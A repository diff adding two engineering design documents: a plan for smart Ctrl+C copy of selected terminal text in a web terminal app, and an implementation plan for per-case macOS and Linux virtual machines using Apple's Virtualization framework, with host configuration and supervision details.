+So a "return false and let the browser copy" implementation would also work in Chromium. It is rejected below (section 3.3) because it gives no toast, does not clear the selection, and leans on per-browser behavior of the copy command when the focused element is xterm's empty helper textarea.
+
+### 2.3 The document-level capture handler will not interfere
+
+`setupEventListeners()` in `src/web/public/app.js:989` runs on document capture, before xterm's textarea listener. Its registry loop skips any entry whose action is not in the local `SHORTCUT_ACTIONS` map:
+
+```js
+if (shortcut.disabled || !shortcut.action) continue;
+const action = SHORTCUT_ACTIONS[shortcut.action];
+if (!action) continue;
+```
+
+This is exactly how `command-palette` already behaves: it is a full registry entry (rebindable and disableable in App Settings) whose dispatch happens in a dedicated, focus-aware gate rather than the generic loop. The new copy entry follows that pattern, so the capture handler falls through untouched and the terminal handler owns the decision.
+
+### 2.4 Registry matching rules that constrain the bindings
+
+`matchesShortcutEvent()` (`app.js:4890`):
+
+- Ctrl and Cmd are interchangeable as the primary modifier, so a `['ctrl']` binding also matches Cmd+C on macOS. That is fine here: with a selection it copies (same result the native macOS path gives today), without one it falls through.
+- Every other modifier must be declared exactly: `if (mods.includes('shift') !== !!e.shiftKey) return false`. So `Ctrl+Shift+C` needs its own binding, a plain `ctrl+c` binding will never swallow it.
+- `binding.code` wins when present, otherwise `binding.key` is compared case-insensitively.
+
+### 2.5 Where selection is actually possible
+
+- The server strips mouse-tracking DECSETs for `claude`, `codex`, and `gemini` (`isAltScreenStripMode`, `src/session.ts:179`), which is why plain drag-select works in those tabs even though the TUI has mouse tracking on.
+- `shell`, `opencode`, and `antigravity` keep mouse reporting, so xterm requires `Shift`+drag to force a selection there. Worth one line in the docs, it is not a code change.
+- Touch devices deliberately disable selection entirely (`body.touch-device .terminal-container .xterm{user-select:none !important}`, `styles.css:3196`), and phones have no Ctrl key. This feature is desktop and hardware-keyboard only, with no mobile regression surface.
+
+### 2.6 Helpers that already exist and should be reused
+
+| Need | Existing code |
+| --- | --- |
+| Clipboard write with an HTTP-safe fallback | `_copyText(text)` in `app.js:1887` (Clipboard API, then hidden textarea + `execCommand`) |
+| Toast | `showToast(message, type)` in `panels-ui.js:4385` |
+| Translated string | `'Copied to clipboard'` already in `i18n.js:453` |
+| Focus-aware chord gate to copy the shape of | `shouldOpenCommandPaletteFromShortcut(e)` in `panels-ui.js:285` |
+| Buffer-wide copy (currently unreferenced) | `copyTerminal()` in `terminal-ui.js:2615` |
+
+`_copyText` matters more than it looks: `install.sh`'s LAN option serves plain HTTP, where `navigator.clipboard` is undefined. The issue's suggested `navigator.clipboard.writeText` alone would silently do nothing for those users, the `execCommand` fallback covers them.
+
+## 3. Design
+
+### 3.1 Behavior
+
+| Chord | Selection present | No selection |
+| --- | --- | --- |
+| `Ctrl+C` (and Cmd+C, per registry equivalence) | copy, toast, clear selection, swallow the key | fall through, xterm sends `0x03` (interrupt) |
+| `Ctrl+Shift+C` | copy, toast, clear selection, swallow the key | swallow, no-op (see 3.2) |
+| Shortcut disabled in App Settings | never copies, `Ctrl+C` is always the interrupt | unchanged |
+| Rebound to another chord | that chord copies when a selection exists | plain `Ctrl+C` is always the interrupt |
+
+### 3.2 Why `Ctrl+Shift+C` with no selection is swallowed rather than forwarded
+
+Today `Ctrl+Shift+C` produces `0x03` as well (the shift is irrelevant to the control byte), so forwarding would be "no regression". But once the chord is advertised as *the explicit copy key*, letting it interrupt a running agent when the selection happens to be empty is a footgun with no upside. Swallowing costs nothing: a user who wants to interrupt has `Ctrl+C` right there.
+
+The rule in code is "no selection and the matched chord had Shift -> swallow", not a hardcoded key check, so it stays correct under rebinds.
+
+### 3.3 Why an explicit clipboard write rather than falling through to the native copy
+
+Probe 2 showed the native path works in Chromium, but the explicit write is chosen because it:
+
+- gives the "Copied to clipboard" toast, which is the discoverability half of the issue,
+- clears the selection so a second `Ctrl+C` interrupts (the smart-copy contract),
+- works on plain-HTTP LAN installs through `_copyText`'s `execCommand` fallback,
+- does not depend on how each browser treats a copy command issued while an empty textarea has focus.
+
+### 3.4 Why no new app setting
+
+Per-shortcut enable/disable and rebinding already exist in App Settings -> Shortcuts and are driven by the registry. A user who wants "Ctrl+C is always interrupt" unchecks one box. Adding a `terminalSmartCopy` setting would duplicate that and would drag in the per-device vs synced decision (`displayKeys` + `.strict()` `SettingsUpdateSchema`) for no gain.
+
+## 4. Code changes, file by file
+
+### 4.1 `src/web/public/app.js`, registry entry
+
+Add to `DEFAULT_SHORTCUTS` (after the `clear-terminal` entry, ~line 351) so the Terminal group stays together:
+
+```js
+{
+  id: 'copy-selection',
+  group: 'Terminal',
+  label: 'Copy Selection',
+  bindings: [
+    { modifiers: ['ctrl'], key: 'c' },
+    { modifiers: ['ctrl', 'shift'], key: 'C' },
+  ],
+  // Dispatched by shouldCopyTerminalSelectionFromShortcut() in terminal-ui.js,
+  // deliberately NOT in SHORTCUT_ACTIONS: the generic capture loop always
+  // preventDefaults, which would cost the user the interrupt key.
+  action: 'copyTerminalSelection',
+},
+```
+
+Match on `key`, not `code`. xterm decides what byte to emit from the produced character, so intercepting the physical `KeyC` on a layout where it does not produce "c" would diverge from what xterm would have sent.
+
+The `action` string is required for App Settings to render the row as configurable (`configurable = !!shortcut.action && Array.isArray(shortcut.bindings)`, `settings-ui.js:2624`). Do **not** add `copyTerminalSelection` to `SHORTCUT_ACTIONS`.
+
+### 4.2 `src/web/public/terminal-ui.js`, the gate
+
+New prototype method, modeled on `shouldOpenCommandPaletteFromShortcut`:
+
+```js
+shouldCopyTerminalSelectionFromShortcut(ev) {
+  if (!ev || ev.type !== 'keydown') return false;          // the handler also runs for keypress/keyup
+  if (!ev.ctrlKey && !ev.metaKey && !ev.altKey) return false;  // hot path: plain typing exits here
+  const registryAvailable =
+    typeof this.getShortcutRegistry === 'function' && typeof this.matchesShortcutEvent === 'function';
+  const entry = registryAvailable
+    ? this.getShortcutRegistry().find((s) => s.id === 'copy-selection')
+    : null;
+  if (entry) return !entry.disabled && this.matchesShortcutEvent(ev, entry);
+  return (ev.key || '').toLowerCase() === 'c' && !ev.altKey; // fallback for isolated harnesses
+}
+```
+
+### 4.3 `src/web/public/terminal-ui.js`, the branch
+
+Inside `attachCustomKeyEventHandler` (`terminal-ui.js:133`), after the command-palette gate and before the `Ctrl+V` branch:
+
+```js
+// Smart copy (#211): with a selection, Ctrl+C copies instead of sending ^C.
+// With no selection it MUST fall through (return true, no preventDefault) or
+// the interrupt key is lost. Ctrl+Shift+C is the explicit chord and never
+// falls through: an "explicit copy" that interrupts the agent is a footgun.
+if (this.shouldCopyTerminalSelectionFromShortcut?.(ev)) {
+  const selection = this.terminal.hasSelection?.() ? this.terminal.getSelection() : '';
+  if (selection) {
+    ev.preventDefault();
+    void this.copyTerminalSelection(selection);
+    return false;
+  }
+  if (ev.shiftKey) {
+    ev.preventDefault();
+    return false;
+  }
+  return true;
+}
+```
+
+`preventDefault()` is explicit because returning `false` alone does not cancel the event (section 2.1), and without it the browser would run its own copy on top of ours.
+
+### 4.4 `src/web/public/terminal-ui.js`, the copy action
+
+```js
+async copyTerminalSelection(text) {
+  const selection = text ?? (this.terminal.hasSelection?.() ? this.terminal.getSelection() : '');
+  if (!selection) return false;
+  const ok = await this._copyText(selection);
+  if (ok) {
+    this.terminal.clearSelection?.();
+    this.showToast('Copied to clipboard', 'success');
+  } else {
+    this.showToast('Failed to copy', 'error');
+  }
+  // _copyText's execCommand fallback focuses a temp textarea; restore the
+  // terminal (this.terminal.focus is the CJK-aware router, not xterm's raw focus).
+  this.terminal.focus();
+  return ok;
+}
+```
+
+The selection text is captured **before** the first `await`, and `navigator.clipboard.writeText` is reached in the same task as the keydown, so user activation still holds.
+
+### 4.5 `src/web/public/i18n.js`
+
+`'Copied to clipboard'` exists. Add `'Failed to copy': '复制失败'` (the error path is new to this surface).
+
+### 4.6 Documentation
+
+| File | Change |
+| --- | --- |
+| `README.md` shortcut table (~line 648) | `\| `Ctrl/Cmd+C` \| Copy selection (interrupts when nothing is selected) \|` and a `Ctrl+Shift+C` row |
+| `src/web/public/index.html` help modal, Terminal section (~line 641) | `<div><kbd>Ctrl</kbd>+<kbd>C</kbd></div><div>Copy Selection / Interrupt</div>` plus the Ctrl+Shift+C row. Keep the existing negative assertion in `help-modal-shortcuts.test.ts` in mind (it forbids `Ctrl+K`, `C` is fine) |
+| `CLAUDE.md` "Keyboard shortcuts" line | add `Ctrl+C` (copy selection, else interrupt) and `Ctrl+Shift+C` |
+| `docs/architecture-invariants.md` -> "Command palette and shortcut registry" | append the invariant: the no-selection path must return `true` without `preventDefault`, the branch is keydown-only, and `copyTerminalSelection` must stay out of `SHORTCUT_ACTIONS` |
+
+The shortcut overlay (`Ctrl+?`) and App Settings -> Shortcuts are registry-driven and pick the entry up with no edit.
+
+## 5. Edge cases and risks
+
+| Case | Handling |
+| --- | --- |
+| Handler also fires for `keypress`/`keyup` | gated on `ev.type === 'keydown'`. xterm's `_keyPress` bails on ctrl combos anyway, so no stray byte |
+| CJK IME composing | the existing `isComposing || keyCode === 229` guard is the first line of the handler and stays first |
+| Local echo overlay has unsent `pendingText` | the copy branch returns before `onData`, so `pendingText`, flushed offsets and the durable input queue are untouched. The no-selection path is byte-identical to today, including the "control char flushes buffered text then sends `0x03`" logic at `terminal-ui.js:895` |
+| Plain HTTP (LAN install) | `_copyText` falls back to `execCommand`, then focus is restored |
+| Clipboard write rejected (permissions policy, no gesture) | error toast, right-click Copy still available |
+| Whitespace-only or empty selection | `getSelection()` empty string is treated as "no selection", so Ctrl+C still interrupts |
+| macOS Cmd+C | registry treats ctrl/meta as interchangeable, so with a selection it takes our path (same visible result as today's native copy), without one it falls through |
+| Chrome/Firefox `Ctrl+Shift+C` is the devtools inspect chord | browser-level and may still toggle devtools, our copy runs regardless. Document as a caveat, `Ctrl+C` is the primary path |
+| Selection in a tab whose TUI owns the mouse (`shell`/`opencode`/`antigravity`) | unchanged, `Shift`+drag selects, then Ctrl+C copies |
+| Web tab (iframe dashboard) focused | xterm handler never runs, browser-native copy inside the iframe |
+| Teammate/subagent terminals (`panels-ui.js:2268`, `onData` wired) | same limitation exists there, out of scope for this PR (section 8) |
+
+## 6. Test plan
+
+New file `test/terminal-copy-selection.test.ts` (node env, `vm` harness in the style of `test/command-palette-ui.test.ts`), covering `shouldCopyTerminalSelectionFromShortcut` in isolation:
+
+1. Ctrl+C keydown -> true, keyup/keypress of the same chord -> false.
+2. Ctrl+Shift+C -> true, plain `c` -> false, Ctrl+K -> false.
+3. Registry entry `disabled: true` -> false for every chord.
+4. Rebound entry (for example Alt+Y) -> true for the rebind, false for Ctrl+C.
+5. Missing registry (harness without `getShortcutRegistry`) -> falls back to the `c` check.
+
+Static assertions appended to `test/keyboard-shortcuts.test.ts` (this suite already pins the xterm-handler chokepoint):
+
+6. `DEFAULT_SHORTCUTS` contains `id: 'copy-selection'` and `SHORTCUT_ACTIONS` does **not** contain `copyTerminalSelection` (the interrupt-safety invariant).
+7. `terminal-ui.js` contains the `shouldCopyTerminalSelectionFromShortcut` branch and a `return true` no-selection fall-through.
+8. README + help modal rows exist (mirrors the existing palette/Alt-nav doc assertions).
+
+`test/help-modal-shortcuts.test.ts`: add `expectShortcut(helpModal, ['Ctrl', 'C'], 'Copy Selection')`.
+
+New browser test `test/terminal-copy-shortcut.test.ts` (Playwright, port **3174**, free per a scan of `test/`), following `test/webgl-fallback.test.ts`: boot `WebServer`, grant `clipboard-read`/`clipboard-write`, `terminal.write()` a known line, `selectLines()`, real `page.keyboard.press('Control+c')`, then assert clipboard content, empty `onData` capture, cleared selection and the toast. Second case: no selection, assert `onData` saw `\u0003` and the clipboard is unchanged.
+Per repo convention, browser suites are excluded from CI, so add the filename to the exclude list in `config/vitest.ci.config.ts` and run it locally.
+
+Regression runs: `npm test -- test/keyboard-shortcuts.test.ts`, `test/help-modal-shortcuts.test.ts`, `test/command-palette-ui.test.ts`, `test/input-send-order.test.ts`, then `npm run test:ci`.
+
+## 7. Manual verification before COM (CLAUDE.md rule)
+
+Against a throwaway session on the live instance (`curl -sk https://localhost:3000/...`, never w1/w2/w3):
+
+1. Select output with the mouse, press Ctrl+C, confirm the toast, paste elsewhere, confirm the agent did not stop.
+2. Press Ctrl+C again with nothing selected, confirm the agent interrupts.
+3. Type a few characters with local echo on (phone or `localEchoEnabled` forced), press Ctrl+C with no selection, confirm buffered text plus interrupt behave as before.
+4. Uncheck the shortcut in App Settings -> Shortcuts, confirm Ctrl+C always interrupts even with a selection.
+5. Rebind it, confirm the new chord copies and Ctrl+C reverts to pure interrupt.
+6. Repeat 1 and 2 in an `opencode` or `shell` tab using Shift+drag to select.
+7. Load over plain HTTP (`--host` LAN or `http://127.0.0.1:<port>`) and confirm the `execCommand` fallback copies and focus returns to the terminal.
+8. Mobile smoke: confirm nothing changed (selection is CSS-disabled, no Ctrl key).
+
+## 8. Out of scope, follow-ups worth filing separately
+
+- **Teammate/subagent terminals** (`panels-ui.js:2268`) have the same blocked-copy problem. One `attachCustomKeyEventHandler` reusing `copyTerminalSelection` would fix them, but it touches a different surface and deserves its own change.
+- **A mobile copy affordance.** Selection is disabled on touch, so phones still cannot copy terminal text. The unreferenced `copyTerminal()` (whole buffer) plus a keyboard-accessory "Copy" button would be the cheapest answer.
+- **Right-click context menu** with Copy/Paste, better discoverability than any chord, but a bigger UI surface.
+- **`copyTerminal()` cleanup**: it uses raw `navigator.clipboard` rather than `_copyText`, so it would fail on plain HTTP if ever wired up.
+
+## 9. PR mechanics

+
+# VM Cases (macOS Virtualization framework), Implementation Plan
+
+## Status
+
+PLANNED, nothing implemented. This is the design + phased execution plan for a native-macOS VM isolation tier for cases ("the VM subsystem"), modeled on Docker cases (`docs/docker-cases-plan.md`). Testbed prerequisite: a macOS 27 host (see Section 8).
+
+**⚠ DESIGN DIRECTION (owner, 2026-07-29): the subsystem is GUI-first.** Users want real macOS desktops, not headless SSH machines. Guests may be macOS (GUI-only in practice) or Linux (GUI or headless). Key decision 3 below carries the full consequences; anything in this doc that reads as "Linux-first / headless-first" predates this and has been revised.
+
+**2026-07-29: Phase 0 substantially validated on the beta testbed; full Apple-stack reference now lives in [`docs/vm-subsystem-apple-stack.md`](vm-subsystem-apple-stack.md)** (API surfaces, beta bugs, our empirical results, and design implications). Plan-relevant corrections from that work: vmnet's topology/port-forwarding APIs are macOS 26 (only the loopback fix is 27); guest provisioning is macOS-guests-only (Linux stays cloud-init, proven working); DiskImageKit has NO flatten/merge, so the `export` subcommand ships the layer chain (or flattens in-guest) instead of flattening; seed ISOs are base-build-time only, never attached at case runtime; per-case EFI variable stores are mandatory; guest health checks read DHCP leases, never serial/ping.
+
+## 1. Context and motivation
+
+WWDC 2026 session 224 ("Expand the Capabilities of your Virtualization App", https://developer.apple.com/videos/play/wwdc2026/224/) shipped the missing pieces for programmatic, fleet-style VM management on macOS:
+
+- **`VZMacGuestProvisioningOptions`**: automated first-boot setup of a macOS guest (user account, auto-login, SSH enabled) with zero interactive setup.
+- **DiskImageKit**: stacked disk images on the Apple Sparse Image Format (ASIF): a read-only base layer plus cheap per-VM cache/overlay layers. Direct analog of Docker image layers + writable container layer.
+- **vmnet framework**: custom network topologies and port forwarding from the host process.
+- **`VZCustomVirtioDevice`**: custom low-latency host<->guest channels (Linux guests).
+- **AccessoryAccess**: USB passthrough (not relevant to Codeman, out of scope).
+
+Codeman's isolation story today is Docker cases. On macOS, Docker means Docker Desktop / a Linux VM anyway, with weaker fidelity and a heavyweight dependency. The Virtualization framework gives hardware-virtualized per-case sandboxes natively, with a layered-image story that mirrors what `scripts/build-agent-image.mjs` does for Docker. This is the premium native-macOS tier ON TOP of Docker cases, never a replacement (Docker remains the cross-platform story; the Linux prod box cannot use any of this).
+
+## 2. Platform reality (hard constraints)
+
+| Constraint                | Detail                                                                                                                                              |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Host OS                   | macOS 27 "Golden Gate" required for the new APIs (dev beta since 2026-06-08, public beta since 2026-07-13, GA expected fall 2026)                    |
+| Host hardware             | Apple Silicon only (macOS 27 dropped Intel). Testbed: the owner's dedicated MacBook (Section 8); the M4 Mac mini (macOS 26.4, runs the second Codeman install) stays on stable + untouched |
+| Guest provisioning        | `VZMacGuestProvisioningOptions` needs macOS 27 on BOTH host and guest. Linux guests provision via cloud-init instead                                 |
+| macOS guest concurrency   | **Hard kernel cap: 2 concurrent macOS VMs per host. MEASURED on 27 beta 4 (2026-07-29), not inferred**: the 3rd VM is refused instantly with `VZErrorDomain` code 6 while 39% of RAM is free, so more hardware does NOT raise it. Since macOS GUI guests are the headline use case, this is a real product capacity limit to schedule around and surface in the UI. Linux guests are uncapped (resource-bound only) |
+| Language                  | Virtualization framework is Swift/ObjC only; Node cannot call it. Requires a Swift helper binary (Key decision 2)                                    |
+| Entitlement               | Host process needs `com.apple.security.virtualization`. Fine for a locally built dev binary; distribution needs signing thought (Section 9)          |
+| Nested virtualization     | Linux-guest-only on M3+. A macOS 27 VM cannot dependably host its own guests, so the host-side APIs must be tested on bare-metal 27 (dual-boot)      |
+| CI                        | Cannot run in CI (needs beta macOS on Apple Silicon). Same answer as tmux/docker: no-op all VM IO under `VITEST`, unit-test the pure parts            |
+
+## 3. Goal and user stories
+
+Add "VM cases" to Codeman: a case can point at a per-case virtual machine on a macOS host, and any CLI backend runs inside it over the existing remote-SSH session machinery. A LOCATION OVERLAY on cases, exactly like remote-SSH and Docker cases, NEVER a sixth `SessionMode`.
+
+- As a Mac user, I link a case to a VM so an autonomous run executes behind a hardware virtualization boundary (stronger than Docker's shared kernel) while file viewing, transcripts, and hooks keep working.
+- Per-case VMs are instant and cheap: a shared provisioned base image plus a per-case overlay, not a full image copy per case.
+- Killing a session kills only its in-guest tmux; the VM stays up while sibling sessions remain; case delete tears the VM down.
+- I export a case's VM overlay as a portable artifact (mirror of `docker-exports/`), secrets excluded.
+- On a non-mac host, or a Mac without the helper, the feature is invisible: zero UI, zero probes, zero errors.
+
+Non-goals for the MVP: USB passthrough, custom Virtio channels (Phase 3 candidate), macOS-guest fleets (capped at 2 anyway), Kubernetes-style orchestration, Intel Macs.
+
+## 4. Architecture
+
+```
+Codeman (Node, unchanged session layer)
+  |  JSON over stdout (same pattern as shelling out to docker/tmux)
+  v
+codeman-vm  (Swift package: CLI + per-VM GUI runner app in the console session)
+  |  Virtualization / DiskImageKit / vmnet
+  v
+per-case VM (macOS or Linux)
+      |-- GUI mode: VZVirtualMachineView in a window  --> guest screen sharing --> browser (noVNC)
+      |-- shell:    SSH on vmnet IP                   --> existing remote-SSH tmux machinery
+      ^ VirtioFS: host case dir mounted at the SAME absolute path
+```
+
+Note the runner is a **GUI app in the console user's session**, not a detached daemon: a daemon-launched VM cannot render, which is fatal for macOS guests and for Linux desktop cases.
+
+### Key decision 1: location overlay, not a mode
+
+Identical reasoning to Docker/remote-SSH (see CLAUDE.md): the session layer, respawn, Ralph, recovery, and quick-start plumbing all stay untouched. `SessionMode` stays five-valued. State mirrors the Docker pair: `~/.codeman/vm-hosts.json` + `vm-cases.json`, new `src/vm-hosts.ts` with the storage + pure helpers split.
+
+### Key decision 2: Swift helper CLI (`codeman-vm`)
+
+The framework is Swift-only, so all VM work lives in a SwiftPM package (`packages/codeman-vm/`), a CLI with a stable JSON contract:
+
+- `create-base --guest linux|macos`: build the shared base image. Linux: boot an arm64 cloud image with EFI + cloud-init, install Node 22 + tmux + the four CLIs (same inventory as `docker/agent.Dockerfile`), seal as base ASIF. macOS: IPSW restore + `VZMacGuestProvisioningOptions` (agent user, SSH on), then **desktop-readiness baking**, which is mandatory for GUI guests: suppress the per-user first-login assistant (`com.apple.SetupAssistant` keys + the User Template), enable auto-login (`autoLoginUser` + `/etc/kcpassword`), disable screensaver/lock/display-sleep, and set a static wallpaper (animated "aerials" wallpaper is unusable over remote display). ⚠ Use RAW (not ASIF) for macOS guest disks until the beta's macOS-guest space-reclamation bug is fixed.
+- `create <case>`: DiskImageKit stacked image: shared read-only base + fresh per-case overlay. Near-instant, space-efficient.
+- `start <case>` / `stop` / `status` / `ip`: lifecycle + vmnet NAT; `ip` reports the guest SSH endpoint.
+- `export <case>` / `import`: flatten overlay + workspace tar + manifest, credentials excluded (mirror of docker-export).
+
+A VM dies with its owning process, so `start` spawns a DETACHED per-VM runner process (analog of the detached `scripts/self-update.sh` trick) rather than a monolithic daemon; `status` talks to it over a unix socket in the instance data dir (`dataPath()`, never a hardcoded `~/.codeman` path).
+
+### Key decision 3: multi-guest, and GUI is a first-class mode (REVISED 2026-07-29 by the repo owner)
+
+The subsystem supports both macOS and Linux guests, and a guest runs in one of two **display modes**:
+
+| | macOS guest | Linux guest |
+| --- | --- | --- |
+| **GUI mode** | **the point of the feature**; a real macOS desktop. Mandatory: nothing renders without an attached `VZVirtualMachineView` in an unlocked host session | supported (EFI + virtio-gpu framebuffer) for desktop Linux cases |
+| **Headless mode** | not offered: a macOS guest with no view renders nothing, so a "headless macOS desktop" is a contradiction. SSH-only macOS is possible but is not what this feature is for | supported and cheap; the natural mode for agent/CI work, driven over SSH |
+
+Consequences that flow from GUI being first-class:
+- VM processes are **GUI apps in the console user's session** (LaunchAgent / `launchctl asuser`), never daemons. A daemon-launched VM cannot render.
+- **The host is part of the product surface**: it must auto-login, never lock, never sleep, and keep a live WindowServer. Host lock == every VM's screen goes black, so the screen lock is effectively a global kill switch for every VM display on the machine. The product must own these host settings rather than treat them as user preference.
+- **FileVault conflicts with unattended GUI hosting** and the trade-off must be a deliberate choice: FileVault disables auto-login, so a full-disk-encrypted host needs a human at a keyboard (or a remote screen-sharing session) after every reboot before any VM can render. Options are (a) FileVault on, accept manual login per boot, (b) FileVault off on a dedicated VM host so it boots straight into a rendering session, or (c) FileVault on plus a remote-unlock runbook. Codeman should detect the state and tell the user which one they are in instead of silently serving black screens.
+- **Guests must be desktop-ready, not just booted**: auto-login, no screensaver/lock, and the per-user first-login assistant pre-suppressed at base-image time (`com.apple.SetupAssistant` keys, plus the User Template so later accounts inherit it). Otherwise the user connects to a login prompt or a setup wizard, which is exactly what happened during the first hands-on run.
+- **Capacity is capped for macOS**: at most 2 concurrent macOS VMs per host, confirmed by our own test on 27 beta 4 (3rd refused with `VZErrorDomain` 6 at 39% free RAM; it is a kernel quota, so bigger hardware does not help). Scheduling must queue or evict beyond 2, the UI must explain why, and the scheduler should tolerate the acknowledged slot-leak bug (a slot occupied with nothing running, host-reboot to clear). Linux guests are uncapped and bounded only by host resources, which is the lever for scaling case counts on one machine.
+- **Access is via the guest's own screen**, viewable in a browser through the noVNC chain (see `docs/vm-subsystem-apple-stack.md` §8), so no client-version or client-install requirements land on the user.
+
+Provisioning per guest type: `VZMacGuestProvisioningOptions` for macOS (needs 27-on-27, first-boot-only, and does NOT skip the per-user wizard), cloud-init NoCloud seed ISO for Linux (proven working).
+
+### Key decision 3b: the GUI VM host profile, and supervision that catches black screens
+
+GUI hosting only works if the host is configured for it and supervised. This profile was derived the hard way on the testbed (prototyped there 2026-07-30) and should be what `codeman-vm` installs and verifies:
+
+**Host profile** (the product should own these, not leave them to preference):
+1. **No login barrier.** Either FileVault off + auto-login (a dedicated VM host boots straight into a rendering session, fully unattended), or FileVault on and remote reboots done with `sudo fdesetup authrestart`, where the pre-boot unlock *is* the login so the machine returns already logged in with encryption intact. **`authrestart` is VERIFIED on the testbed (2026-07-30): the host rebooted remotely and came back with a live logged-in console session, FileVault still enabled, no password prompt** — this is the recommended pattern for an encrypted GUI VM host. Plain reboots on a FileVault host always need a human, so Codeman should detect that combination and warn instead of serving black screens.
+2. **Never lock**: lock policy off (needs the account password, so it is a setup step, not a scriptable one) plus `caffeinate -d -i -m -u` re-armed per session.
+3. **Never sleep**: `pmset -a sleep 0 displaysleep 0 disablesleep 1`; a physical display is NOT required (a lid-closed laptop renders fine, only an unlocked session matters). Note OS updates reset these.
+4. **Session-independent control plane**: run VPN/remote access as a system service, never a session app, and keep the access chain (forwards, VNC proxies, web endpoints) in LaunchDaemons so a session restart cannot sever operator access.
+
+**Supervision** must be a **root LaunchDaemon**, not a user LaunchAgent. This is the load-bearing detail: a user agent cannot launch a GUI app into the Aqua session, so its restart attempts fail *silently* (the child dies instantly, leaving an empty log while the supervisor cheerfully reports success). A root daemon can, via `launchctl asuser <uid> sudo -u <user> …`, and those launches persist. Prototyped and verified on the testbed 2026-07-30; a working supervisor runs on a short interval and:
+
+- Restarts the runner when the process is gone **or when its log shows `WindowServer event port death`**, which means it is permanently blind while still looking alive.
+- Defers restarts while the console is at the login window, and launches into whichever session actually exists (resolve the console user with `stat -f %Su /dev/console`, never a hardcoded one).
+- Re-points the guest port-forward whenever the guest's NAT lease changes, which happens on **every guest boot** under plain NAT. A vmnet DHCP reservation for a stable per-case IP is the better long-term answer.
+- **Re-applies host power settings**, because `pmset -a disablesleep 1` does NOT survive a reboot (caught on the supervisor's first run after a real reboot) and OS updates reset it too.
+- Re-arms the keep-awake helper, which dies with its session.
+- Ideally also samples the guest framebuffer for non-black content, since a black screen is the one symptom common to every failure mode here.
+
+`pgrep` alone is worthless for health: every failure mode in this session presented as a healthy process.
+
+### Key decision 4: sessions ride the existing remote-SSH machinery
+
+A provisioned guest is literally an SSH host on a vmnet IP. Session launch = the remote-SSH flow with the host swapped in: durable remote `tmux -L codeman-remote`, session names failing `SAFE_MUX_NAME_PATTERN` on purpose, EVERY ssh command line through `buildSshConnectionArgs()` (command-injection invariant), run flows through `POST /api/quick-start` (never `POST /api/sessions`, which stat-validates `workingDir` locally). What is genuinely new is only lifecycle (create/start/stop/export) and the vm-hosts/vm-cases overlay state.
+
+### Key decision 5: workspace via VirtioFS at the same absolute path
+
+Mirror the Docker bind-mount invariant: the case workspace is a real host directory shared into the guest via VirtioFS and mounted at the SAME absolute path. That keeps file-routes/watchers on real host bytes and makes the in-guest transcript projHash match the host. Without this, transcripts/attachments/file viewer all silently degrade.
+
+### Key decision 6: credentials seeded, hooks bridged
+
+- Credentials are SEEDED (read-only share, copied into the guest once at create), never shared read-write, and excluded from exports: byte-for-byte the Docker cases rule and rationale.
+- Hooks: on the loopback-only prod bind a guest cannot reach `127.0.0.1:3000`. Mirror `CODEMAN_DOCKER_BRIDGE_HOOKS` with a `CODEMAN_VM_BRIDGE_HOOKS` opt-in listener on the vmnet gateway IP; otherwise idle detection falls back to output-based, same as Docker.
+
+### Key decision 7: drift and teardown copy Docker semantics verbatim
+
+Config hash label on the VM (guest type, cpu/mem, share list); a drifted launch is REFUSED, never silently launched stale. One VM per case shared by all sessions; session kill = in-guest tmux kill only; case delete = stop + remove overlay; instance-scoped boot reaper for orphaned runner processes.
+
+## 5. Implementation phases
+
+**Phase 0, testbed (no repo code):** dedicated MacBook on the macOS 27 beta, remotely accessible over the tailnet (setup protocol in Section 8), Xcode 27 beta, then a throwaway Swift script proving the loop: create base -> overlay -> boot -> ssh in. This validates 80% of the design before any Codeman code.
+
+**Phase 1, `codeman-vm` helper:** SwiftPM package, the six subcommands above, JSON contract doc, detached runner + unix-socket status, Linux base image build. Deliverable is testable entirely without Codeman.
+
+**Phase 2, Codeman integration:** types (`VmHost`/`VmCase`/`SessionVm`), `src/vm-hosts.ts` (+ pure helpers: config hash, arg building, endpoint parsing), Zod schemas, `case-routes` link/unlink + listing, `quick-start` vm branch reusing the remote-SSH launch path, `Session` threading + recovery round-trip, `VITEST` no-op layer, unit tests. Feature-detect: darwin + arm64 + helper binary present, else invisible.
+
+**Phase 3, polish:** export/import UI, frontend Create Case "VM" tab + case-picker labels, SSE `vm:*` events, macOS-guest opt-in with cap surfaced, custom-Virtio input channel exploration, CLAUDE.md Key Pattern + `docs/vm-cases.md` + COM.
+
+## 6. Testing
+
+- Pure helpers unit-tested (ports pattern from `docker-hosts.ts`: 26 tests there, aim similar).
+- All helper-invoking IO no-ops under `VITEST` (the `IS_TEST_MODE` pattern in `tmux-manager.ts`).
+- End-to-end verification happens ON the beta MacBook, per the always-end-to-end rule: real base build, real per-case overlay boot, real quick-start into the guest, workspace round-trip through VirtioFS, session-delete keeps VM up, case-delete removes it.
+- CI never runs the real path; the static guards are type-level + unit-level only.
+
+## 7. Risks
+
+1. **Beta API churn**: everything here targets beta SDKs; symbol/behavior changes are likely before fall GA. Mitigation: Phase 0/1 are throwaway-tolerant; no Codeman-side commitment until the helper contract survives a beta cycle.
+2. **New artifact class**: Codeman ships pure TypeScript today; a Swift binary changes build/distribution (build-on-install via `xcrun swift build` on macs with Xcode CLT? prebuilt signed binary per release?). Needs an owner decision; local dev build is fine for the whole beta period.
+3. **Entitlement/signing**: `com.apple.security.virtualization` is trivial for local dev, real for distribution.
+4. **Adoption gating**: users need macOS 27 + Apple Silicon for months after GA. Docker cases remain the default recommendation; VM cases ship dark (feature-detected) with zero cost to everyone else.
+
+## 8. Beta testbed plan: dedicated MacBook (actionable now)
+
+Testbed is a dedicated MacBook the owner sacrifices to the beta (after a full backup). This supersedes the earlier dual-boot-the-Mini idea (git history has it): a dedicated machine means no OS-switching, no downtime for the Mini's live Codeman, and no FileVault pre-boot headaches.
+
+**Sequencing rule that makes it headless: configure ALL remote access on the CURRENT macOS first, THEN upgrade in place.** An in-place beta upgrade preserves Remote Login, Tailscale, user accounts, and auto-login, so there is no Setup Assistant and no post-install physical step. (A fresh install would boot into GUI-only Setup Assistant with no SSH, which on a headless box is a dead end.)
+
